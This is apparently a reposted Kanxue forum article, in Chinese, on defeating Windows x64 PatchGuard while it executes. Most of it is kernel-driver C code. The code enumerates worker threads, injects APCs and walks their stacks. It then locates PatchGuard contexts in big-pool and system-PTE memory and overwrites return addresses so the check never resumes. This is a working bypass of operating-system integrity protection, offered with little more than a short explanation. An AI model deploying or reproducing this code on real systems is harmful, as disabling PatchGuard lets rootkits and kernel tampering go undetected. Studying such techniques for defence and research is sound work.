查看原文
其他

攻破 Windows AMD 64 平台的 PatchGuard - 清除执行中的 PatchGuard

小艾 看雪学院 2019-09-18

最近微软更新了 1903 忙着更新了一下代码,顺便把文章补全,主要是解释一下如何检测的。


当 PatchGuad 处于执行状态时,首先解密头部的CmpAppendDllSection,然后在 CmpAppendDllSection内部完整解密整个Context,进入PatchGuardEntryPointer,替换IDT,关闭DR中,自检,插入Worker(自捡成功的话),清空栈,进入FsRtlUninitializeSmallMcb》。


这里FsRtlUninitializeSmallMcb 就是 PatchGuad 的执行主逻辑,在这个逻辑中大部分时间 PatchGuad 都是出于延时状态以减少CPU 占用。





攻击逻辑首先是枚举当前的Worker 线程,我使用的方法是把自己先插入到Worker,然后通过对比入口点来判断Worker 线程,然后每个Work线程插入一个特殊模式的Apc(保存现场->检测逻辑)。


VOID
NTAPI
PgCheckAllWorkerThread(
__inout PPGBLOCK PgBlock
)
{
NTSTATUS Status = STATUS_SUCCESS;
PSYSTEM_PROCESS_INFORMATION ProcessInfo = NULL;
PSYSTEM_EXTENDED_THREAD_INFORMATION ThreadInfo = NULL;
PVOID Buffer = NULL;
ULONG BufferSize = PAGE_SIZE;
ULONG ReturnLength = 0;
ULONG Index = 0;
PULONG64 InitialStack = 0;
DISPATCHER_HEADER * Header = NULL;

/*
if (os build >= 9600){
PgBlock->WorkerContext = struct _DISPATCHER_HEADER

Header->Type = 0x15
Header->Hand = 0xac
}
else {
PgBlock->WorkerContext = enum _WORK_QUEUE_TYPE

CriticalWorkQueue = 0
DelayedWorkQueue = 1
}
*/


InitialStack = IoGetInitialStack();

if (GetGpBlock(PgBlock)->BuildNumber >= 9600) {
while ((ULONG64)InitialStack != (ULONG64)&PgBlock) {
Header = *(PVOID *)InitialStack;

if (FALSE != MmIsAddressValid(Header)) {
if (FALSE != MmIsAddressValid((PCHAR)(Header + 1) - 1)) {
if (0x15 == Header->Type &&
0xac == Header->Hand) {
PgBlock->WorkerContext = Header;

break;
}
}
}

InitialStack--;
}
}
else {
PgBlock->WorkerContext = UlongToPtr(CriticalWorkQueue);
}

retry:
Buffer = ExAllocatePool(
NonPagedPool,
BufferSize);

if (NULL != Buffer) {
RtlZeroMemory(
Buffer,
BufferSize);

Status = ZwQuerySystemInformation(
SystemExtendedProcessInformation,
Buffer,
BufferSize,
&ReturnLength);

if (NT_SUCCESS(Status)) {
ProcessInfo = (PSYSTEM_PROCESS_INFORMATION)Buffer;

while (TRUE) {
if (PsGetCurrentProcessId() == ProcessInfo->UniqueProcessId) {
ThreadInfo = (PSYSTEM_EXTENDED_THREAD_INFORMATION)
(ProcessInfo + 1);

if (NULL == PgBlock->ExpWorkerThread) {
for (Index = 0;
Index < ProcessInfo->NumberOfThreads;
Index++) {
if ((ULONG64)PsGetCurrentThreadId() ==
(ULONG64)ThreadInfo[Index].ThreadInfo.ClientId.UniqueThread) {
PgBlock->ExpWorkerThread = ThreadInfo[Index].Win32StartAddress;

break;
}
}
}

if (NULL != PgBlock->ExpWorkerThread) {
for (Index = 0;
Index < ProcessInfo->NumberOfThreads;
Index++) {
if ((ULONG64)PsGetCurrentThreadId() !=
(ULONG64)ThreadInfo[Index].ThreadInfo.ClientId.UniqueThread &&
(ULONG64)PgBlock->ExpWorkerThread ==
(ULONG64)ThreadInfo[Index].Win32StartAddress) {
AsyncCall(
ThreadInfo[Index].ThreadInfo.ClientId.UniqueThread,
NULL,
NULL,
(PUSER_THREAD_START_ROUTINE)PgCheckWorkerThread,
PgBlock);
}
}
}

break;
}

if (0 == ProcessInfo->NextEntryOffset) {
break;
}
else {
ProcessInfo = (PSYSTEM_PROCESS_INFORMATION)
((PCHAR)ProcessInfo + ProcessInfo->NextEntryOffset);
}
}
}

ExFreePool(Buffer);
Buffer = NULL;

if (STATUS_INFO_LENGTH_MISMATCH == Status) {
BufferSize = ReturnLength;
goto retry;
}
}
}


Apc的逻辑主要是栈回溯,当回溯到无模块的返回点时就会停止回溯,通过最后一个回溯点是不是NULL来判断是不是要检测的线程。当然这里可能存在无模块的其他驱动(比如某P),先通过BigPool 和 SystemPtes 搜索出内存块的大小,这里不得不吐槽一下 RtlFindSetBits 有坑。


VOID
NTAPI
PgLocatePoolObject(
__inout PPGBLOCK PgBlock,
__in PPGOBJECT Object
)
{
PFN_NUMBER Index = 0;
PVOID Establisher = NULL;

GetCounterBody(&Object->Establisher, &Establisher);

for (Index = 0;
Index < PgBlock->PoolBigPageTableSize;
Index++) {
if (POOL_BIG_TABLE_ENTRY_FREE !=
((ULONG64)PgBlock->PoolBigPageTable[Index].Va & POOL_BIG_TABLE_ENTRY_FREE)) {
if (NonPagedPool == PgBlock->MmDeterminePoolType(PgBlock->PoolBigPageTable[Index].Va)) {
if (PgBlock->PoolBigPageTable[Index].NumberOfPages > PgBlock->SizeINITKDBG) {
if ((ULONG64)Establisher >= (ULONG64)PgBlock->PoolBigPageTable[Index].Va &&
(ULONG64)Establisher < (ULONG64)PgBlock->PoolBigPageTable[Index].Va +
PgBlock->PoolBigPageTable[Index].NumberOfPages) {
Object->BaseAddress = PgBlock->PoolBigPageTable[Index].Va;
Object->RegionSize = PgBlock->PoolBigPageTable[Index].NumberOfPages;

#ifndef PUBLIC
DbgPrint(
"[Sefirot] [PatchGuard] < %p > found region in pool < %p - %08x >\n",
Establisher,
Object->BaseAddress,
Object->RegionSize);
#endif // !PUBLIC

Object->Type = PgPoolBigPage;

break;
}
}
}
}
}
}

VOID
NTAPI
PgLocateSystemPtesObject(
__inout PPGBLOCK PgBlock,
__in PPGOBJECT Object
)
{
PRTL_BITMAP BitMap = NULL;
ULONG BitMapSize = 0;
PFN_NUMBER NumberOfPtes = 0;
ULONG HintIndex = 0;
ULONG StartingRunIndex = 0;
PVOID Establisher = NULL;

NumberOfPtes = PgBlock->NumberOfPtes;

GetCounterBody(&Object->Establisher, &Establisher);

BitMapSize =
sizeof(RTL_BITMAP) +
(ULONG)((((NumberOfPtes + 1) + 31) / 32) * 4);

BitMap = ExAllocatePool(NonPagedPool, BitMapSize);

if (NULL != BitMap) {
RtlInitializeBitMap(
BitMap,
(PULONG)(BitMap + 1),
(ULONG)(NumberOfPtes + 1));

RtlClearAllBits(BitMap);

InitializeSystemPtesBitMap(
PgBlock->BasePte,
NumberOfPtes,
BitMap);

do {
HintIndex = RtlFindSetBits(
BitMap,
1,
HintIndex);

if (MAXULONG != HintIndex) {
RtlFindNextForwardRunClear(
BitMap,
HintIndex,
&StartingRunIndex);

RtlClearBits(BitMap, HintIndex, StartingRunIndex - HintIndex);

if ((ULONG64)Establisher >=
(ULONG64)GetVirtualAddressMappedByPte(
PgBlock->BasePte + HintIndex) &&
(ULONG64)Establisher <
(ULONG64)GetVirtualAddressMappedByPte(
PgBlock->BasePte + StartingRunIndex) - PgBlock->SizeCmpAppendDllSection) {
Object->BaseAddress =
GetVirtualAddressMappedByPte(PgBlock->BasePte + HintIndex);

Object->RegionSize =
(SIZE_T)(StartingRunIndex - HintIndex) * PAGE_SIZE;

#ifndef PUBLIC
DbgPrint(
"[Sefirot] [PatchGuard] < %p > found region in system ptes < %p - %08x >\n",
Establisher,
Object->BaseAddress,
Object->RegionSize);
#endif // !PUBLIC

Object->Type = PgSystemPtes;

break;
}

HintIndex = StartingRunIndex;
}
} while (HintIndex < NumberOfPtes);

ExFreePool(BitMap);
}
}

VOID
NTAPI
PgLocateObject(
__inout PPGBLOCK PgBlock,
__out PPGOBJECT Object
)
{
IpiSingleCall(
(PPS_APC_ROUTINE)NULL,
(PKSYSTEM_ROUTINE)PgLocatePoolObject,
(PUSER_THREAD_START_ROUTINE)PgBlock,
(PVOID)Object);

if (-1 == Object->Type) {
IpiSingleCall(
(PPS_APC_ROUTINE)NULL,
(PKSYSTEM_ROUTINE)PgLocateSystemPtesObject,
(PUSER_THREAD_START_ROUTINE)PgBlock,
(PVOID)Object);
}
}


然后在内存块搜索 PatchGuardEntryPointer的头部代码来判断是不是 PatchGuad执行逻辑,如果是释放掉内存->重启Worker,不是则恢复运行环境。为了便于管理,这里使用了对象的设计方法,每个检测到的CONTEXT 分配一个对象。


VOID
NTAPI
PgCheckWorkerThread(
__inout PPGBLOCK PgBlock
)
{
ULONG64 LowLimit = 0;
ULONG64 HighLimit = 0;
PULONG64 InitialStack = 0;
PULONG64 TargetPc = NULL;
ULONG Count = 0;
PCALLERS Callers = NULL;
ULONG Index = 0;
LONG_PTR Reference = 0;
PVOID * Parameters = NULL;
PGOBJECT TempObject = { 0 };
PPGOBJECT Object = NULL;

Callers = ExAllocatePool(
NonPagedPool,
MAX_STACK_DEPTH * sizeof(CALLERS));

if (NULL != Callers) {
Count = WalkFrameChain(
Callers,
MAX_STACK_DEPTH);

if (0 != Count) {
// PrintFrameChain(Callers, 0, Count);

IoGetStackLimits(&LowLimit, &HighLimit);

InitialStack = IoGetInitialStack();

// all worker thread start at KiStartSystemThread and return address == 0
// if null != last return address code is in noimage

if (NULL != Callers[Count - 1].Establisher) {
#ifndef PUBLIC
DbgPrint(
"[Sefirot] [PatchGuard] < %p > found noimage return address in worker thread\n",
Callers[Count - 1].Establisher);
#endif // !PUBLIC

for (TargetPc = (PULONG64)Callers[Count - 1].EstablisherFrame;
(ULONG64)TargetPc < (ULONG64)InitialStack;
TargetPc++) {
// In most cases, PatchGuard code will wait for a random time.
// set return address in current thread stack to _RevertWorkerToSelf
// than PatchGuard code was not continue

if ((ULONG64)*TargetPc == (ULONG64)Callers[Count - 1].Establisher) {
// restart ExpWorkerThread

// ExFrame->P1Home = WorkerContext;
// ExFrame->P2Home = ExpWorkerThread;
// ExFrame->P3Home = PspSystemThreadStartup;
// ExFrame->Return = KiStartSystemThread; <- jmp this function return address == 0

SetCounterBody(
&TempObject.Establisher,
Callers[Count - 1].Establisher);

TempObject.Type = -1;

PgLocateObject(PgBlock, &TempObject);

if (-1 != TempObject.Type) {
Object = PgCreateObject(
PgDeclassified,
TempObject.Type,
TempObject.BaseAddress,
TempObject.RegionSize,
NULL,
PgBlock,
PgBlock->ClearCallback,
Callers[Count - 1].Establisher,
GetGpBlock(PgBlock)->CaptureContext);

if (NULL != Object) {
SetCounterBody(
&Object->Establisher,
Callers[Count - 1].Establisher);

*TargetPc = (ULONG64)&Object->Establisher;

InterlockedIncrementSizeT(&PgBlock->ReferenceCount);

#ifndef PUBLIC
DbgPrint(
"[Sefirot] [PatchGuard] < %p > insert worker thread check code\n",
PgBlock->ReferenceCount);
#endif // !PUBLIC
}
}

break;
}
}
}
}

ExFreePool(Callers);
}
}





- End -





看雪ID:小艾  

https://bbs.pediy.com/user-123809.htm  




本文由看雪论坛 小艾  原创

转载请注明来自看雪社区




热门图书推荐

 立即购买!




⚠️ 注意



2019 看雪安全开发者峰会门票正在热售中!

长按识别下方二维码即可享受 2.5折 优惠!





热门文章阅读

1、分析强壳的虚拟机原理

2、浅析:网友说的过火绒的远控到底是何方神圣?

3、SandHook 之 Native Inline Hook





公众号ID:ikanxue

官方微博:看雪安全

商务合作:wsc@kanxue.com



↙点击下方“阅读原文”,查看更多干货

    您可能也对以下帖子感兴趣

    文章有问题?点此查看未经处理的缓存